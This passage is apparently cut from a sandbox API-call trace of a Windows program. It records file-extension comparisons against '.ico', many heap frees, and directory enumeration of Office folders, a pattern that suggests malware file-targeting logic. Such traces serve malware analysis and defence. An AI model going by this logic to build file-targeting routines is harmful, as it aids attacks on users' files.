(lpString1=".p7b", lpString2=".ico") returned 1 [0051.999] lstrlenW (lpString=".p7c") returned 4 [0051.999] lstrcmpiW (lpString1=".p7c", lpString2=".ico") returned 1 [0051.999] lstrlenW (lpString=".pam") returned 4 [0051.999] lstrcmpiW (lpString1=".pam", lpString2=".ico") returned 1 [0051.999] lstrlenW (lpString=".pbm") returned 4 [0051.999] lstrcmpiW (lpString1=".pbm", lpString2=".ico") returned 1 [0051.999] lstrlenW (lpString=".pct") returned 4 [0051.999] lstrcmpiW (lpString1=".pct", lpString2=".ico") returned 1 [0051.999] lstrlenW (lpString=".pcx") returned 4 [0051.999] lstrcmpiW (lpString1=".pcx", lpString2=".ico") returned 1 [0051.999] lstrlenW (lpString=".pdd") returned 4 [0051.999] lstrcmpiW (lpString1=".pdd", lpString2=".ico") returned 1 [0051.999] lstrlenW (lpString=".pdf") returned 4 [0051.999] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0051.999] lstrlenW (lpString=".pdp") returned 4 [0051.999] lstrcmpiW (lpString1=".pdp", lpString2=".ico") returned 1 [0051.999] lstrlenW (lpString=".pef") returned 4 [0051.999] lstrcmpiW (lpString1=".pef", lpString2=".ico") returned 1 [0051.999] lstrlenW (lpString=".pem") returned 4 [0051.999] lstrcmpiW (lpString1=".pem", lpString2=".ico") returned 1 [0051.999] lstrlenW (lpString=".pff") returned 4 [0051.999] lstrcmpiW (lpString1=".pff", lpString2=".ico") returned 1 [0051.999] lstrlenW (lpString=".pfm") returned 4 [0051.999] lstrcmpiW (lpString1=".pfm", lpString2=".ico") returned 1 [0051.999] lstrlenW (lpString=".pfx") returned 4 [0051.999] lstrcmpiW (lpString1=".pfx", lpString2=".ico") returned 1 [0051.999] lstrlenW (lpString=".pgm") returned 4 [0051.999] lstrcmpiW (lpString1=".pgm", lpString2=".ico") returned 1 [0051.999] lstrlenW (lpString=".php") returned 4 [0051.999] lstrcmpiW (lpString1=".php", lpString2=".ico") returned 1 [0051.999] lstrlenW (lpString=".php3") returned 5 [0051.999] lstrcmpiW (lpString1=".php3", lpString2="s.ico") returned -1 [0051.999] lstrlenW (lpString=".php4") returned 5 [0052.000] lstrcmpiW (lpString1=".php4", lpString2="s.ico") returned -1 [0052.000] lstrlenW (lpString=".php5") returned 5 [0052.000] lstrcmpiW (lpString1=".php5", lpString2="s.ico") returned -1 [0052.000] lstrlenW (lpString=".phtml") returned 6 [0052.000] lstrcmpiW (lpString1=".phtml", lpString2="ts.ico") returned -1 [0052.000] lstrlenW (lpString=".pict") returned 5 [0052.000] lstrcmpiW (lpString1=".pict", lpString2="s.ico") returned -1 [0052.000] lstrlenW (lpString=".pl") returned 3 [0052.000] lstrcmpiW (lpString1=".pl", lpString2="ico") returned -1 [0052.000] lstrlenW (lpString=".pls") returned 4 [0052.000] lstrcmpiW (lpString1=".pls", lpString2=".ico") returned 1 [0052.000] lstrlenW (lpString=".pm") returned 3 [0052.000] lstrcmpiW (lpString1=".pm", lpString2="ico") returned -1 [0052.000] lstrlenW (lpString=".png") returned 4 [0052.000] lstrcmpiW (lpString1=".png", lpString2=".ico") returned 1 [0052.000] lstrlenW (lpString=".pnm") returned 4 [0052.000] lstrcmpiW (lpString1=".pnm", lpString2=".ico") returned 1 [0052.000] lstrlenW (lpString=".pot") returned 4 [0052.000] lstrcmpiW (lpString1=".pot", lpString2=".ico") returned 1 [0052.000] lstrlenW (lpString=".potm") returned 5 [0052.000] lstrcmpiW (lpString1=".potm", lpString2="s.ico") returned -1 [0052.000] lstrlenW (lpString=".potx") returned 5 [0052.000] lstrcmpiW (lpString1=".potx", lpString2="s.ico") returned -1 [0052.000] lstrlenW (lpString=".ppa") returned 4 [0052.000] lstrcmpiW (lpString1=".ppa", lpString2=".ico") returned 1 [0052.000] lstrlenW (lpString=".ppam") returned 5 [0052.000] lstrcmpiW (lpString1=".ppam", lpString2="s.ico") returned -1 [0052.000] lstrlenW (lpString=".ppm") returned 4 [0052.000] lstrcmpiW (lpString1=".ppm", lpString2=".ico") returned 1 [0052.000] lstrlenW (lpString=".pps") returned 4 [0052.000] lstrcmpiW (lpString1=".pps", lpString2=".ico") returned 1 [0052.000] lstrlenW (lpString=".ppsm") returned 5 [0052.000] lstrcmpiW (lpString1=".ppsm", lpString2="s.ico") returned -1 [0052.000] lstrlenW (lpString=".ppt") returned 4 [0052.000] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0052.000] lstrlenW (lpString=".pptm") returned 5 [0052.001] lstrcmpiW (lpString1=".pptm", lpString2="s.ico") returned -1 [0052.001] lstrlenW (lpString=".pptx") returned 5 [0052.001] lstrcmpiW (lpString1=".pptx", lpString2="s.ico") returned -1 [0052.001] lstrlenW (lpString=".prn") returned 4 [0052.001] lstrcmpiW (lpString1=".prn", lpString2=".ico") returned 1 [0052.001] lstrlenW (lpString=".ps") returned 3 [0052.001] lstrcmpiW (lpString1=".ps", lpString2="ico") returned -1 [0052.001] lstrlenW (lpString=".psb") returned 4 [0052.001] lstrcmpiW (lpString1=".psb", lpString2=".ico") returned 1 [0052.001] lstrlenW (lpString=".psd") returned 4 [0052.001] lstrcmpiW (lpString1=".psd", lpString2=".ico") returned 1 [0052.001] lstrlenW (lpString=".pst") returned 4 [0052.001] lstrcmpiW (lpString1=".pst", lpString2=".ico") returned 1 [0052.001] lstrlenW (lpString=".ptx") returned 4 [0052.001] lstrcmpiW (lpString1=".ptx", lpString2=".ico") returned 1 [0052.001] lstrlenW (lpString=".pub") returned 4 [0052.001] lstrcmpiW (lpString1=".pub", lpString2=".ico") returned 1 [0052.001] lstrlenW (lpString=".pwm") returned 4 [0052.001] lstrcmpiW (lpString1=".pwm", lpString2=".ico") returned 1 [0052.001] lstrlenW (lpString=".pxr") returned 4 [0052.001] lstrcmpiW (lpString1=".pxr", lpString2=".ico") returned 1 [0052.001] lstrlenW (lpString=".py") returned 3 [0052.001] lstrcmpiW (lpString1=".py", lpString2="ico") returned -1 [0052.001] lstrlenW (lpString=".qt") returned 3 [0052.001] lstrcmpiW (lpString1=".qt", lpString2="ico") returned -1 [0052.001] lstrlenW (lpString=".r3d") returned 4 [0052.001] lstrcmpiW (lpString1=".r3d", lpString2=".ico") returned 1 [0052.001] lstrlenW (lpString=".raf") returned 4 [0052.001] lstrcmpiW (lpString1=".raf", lpString2=".ico") returned 1 [0052.001] lstrlenW (lpString=".rar") returned 4 [0052.001] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0052.001] lstrlenW (lpString=".raw") returned 4 [0052.001] lstrcmpiW (lpString1=".raw", lpString2=".ico") returned 1 [0052.002] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343fd8 | out: hHeap=0x690000) returned 1 [0052.349] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343fd8 | out: hHeap=0x690000) returned 1 [0052.469] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0052.471] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0052.471] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0052.474] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0052.474] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343fd8 | out: hHeap=0x690000) returned 1 [0052.481] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0052.481] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343fd8 | out: hHeap=0x690000) returned 1 [0052.481] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0052.668] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0052.668] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0052.670] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0052.671] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0052.671] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0052.671] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0052.673] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0052.675] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0052.676] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0052.677] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0052.678] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0052.712] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4373ff0 | out: hHeap=0x690000) returned 1 [0052.713] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a4008 | out: hHeap=0x690000) returned 1 [0052.748] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4373ff0 | out: hHeap=0x690000) returned 1 [0052.748] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0052.750] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0052.819] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4394000 | out: hHeap=0x690000) returned 1 [0052.819] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0052.820] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0054.260] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0054.617] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4373ff0 | out: hHeap=0x690000) returned 1 [0054.637] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383ff8 | out: hHeap=0x690000) returned 1 [0054.641] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4373ff0 | out: hHeap=0x690000) returned 1 [0054.654] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0054.654] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0054.654] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0054.654] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.654] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.655] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.655] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.655] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.655] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.655] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.655] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.655] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.656] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.656] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.656] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.656] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.656] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.656] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.657] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.657] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.657] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.657] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.657] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.657] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.658] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.658] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.658] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.658] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.658] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.659] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.659] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.659] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.659] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.660] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.660] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.660] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.660] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.661] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.661] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.661] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.661] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.662] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.662] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.662] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.662] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.663] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.663] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.663] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.663] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0054.663] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.664] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.664] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.664] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.664] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0054.665] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4373ff0 | out: hHeap=0x690000) returned 1 [0054.665] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.665] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0054.667] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.667] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0054.668] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383ff8 | out: hHeap=0x690000) returned 1 [0054.668] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4373ff0 | out: hHeap=0x690000) returned 1 [0054.668] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.669] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0054.669] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0054.669] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0054.669] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0054.670] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.670] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0054.670] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0054.670] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0054.672] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343fd8 | out: hHeap=0x690000) returned 1 [0055.037] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0055.043] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0055.044] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0055.044] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0055.044] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0055.044] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0055.045] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0055.045] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0055.046] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0055.046] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0055.046] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0055.046] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0055.046] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0055.049] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0055.050] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0055.050] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0055.050] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0055.051] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0055.051] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0055.059] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0055.091] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4373ff0 | out: hHeap=0x690000) returned 1 [0055.091] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0055.092] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0055.094] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0055.094] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0055.094] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0055.095] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0055.096] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0055.100] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0055.100] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0055.118] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4393f40 | out: hHeap=0x690000) returned 1 [0055.118] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0055.118] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4393f40 | out: hHeap=0x690000) returned 1 [0055.118] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0055.118] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4373f30 | out: hHeap=0x690000) returned 1 [0055.119] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0055.123] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0055.124] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0055.124] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0055.125] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0055.126] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0055.131] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0055.131] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0055.131] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0055.149] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4393f40 | out: hHeap=0x690000) returned 1 [0055.152] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0055.152] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4393f40 | out: hHeap=0x690000) returned 1 [0055.152] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0055.152] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0055.153] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0055.163] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4373f30 | out: hHeap=0x690000) returned 1 [0055.164] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4393f40 | out: hHeap=0x690000) returned 1 [0055.196] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4393f40 | out: hHeap=0x690000) returned 1 [0055.512] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4373f30 | out: hHeap=0x690000) returned 1 [0055.514] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0055.514] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0055.516] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0055.516] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0055.516] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0055.518] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0055.518] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0055.518] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0055.519] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0055.519] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0055.519] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0055.522] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0055.523] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0055.524] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0055.524] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0055.524] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0055.526] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 1 [0055.526] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42a3ed0 [0055.526] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\*", lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 0x4280140 [0055.527] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 